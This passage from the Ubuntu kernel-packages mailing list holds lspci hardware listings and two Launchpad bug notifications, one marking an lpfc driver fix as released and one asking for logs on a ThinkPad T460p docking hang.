  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   

[Kernel-packages] [Bug 1691817] Re: ubuntu 17.04 lpfc fix.

[Po-Hsu Lin]

Thank for the feedback.
Please feel free to open another bug if you ever need assistance like this.
(You can target it to linux (Ubuntu) as well, just like this report here. So it 
won't fall off the net)
Cheers.


** Changed in: linux (Ubuntu)
   Status: Incomplete => Fix Released

** Changed in: linux-aws (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1691817

Title:
  ubuntu 17.04 lpfc fix.

Status in linux package in Ubuntu:
  Fix Released
Status in linux-aws package in Ubuntu:
  Fix Released

Bug description:
  Can someone from ubuntu check the 17.04 lpfc sources and make sure that this 
fix is in?
7e04e21afa82ef024416f5413b5bdb66e0505bcd

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1691817/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781904] Missing required logs.

[Ubuntu Kernel Bot]

This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:

apport-collect 1781904

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

** Tags added: bionic

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+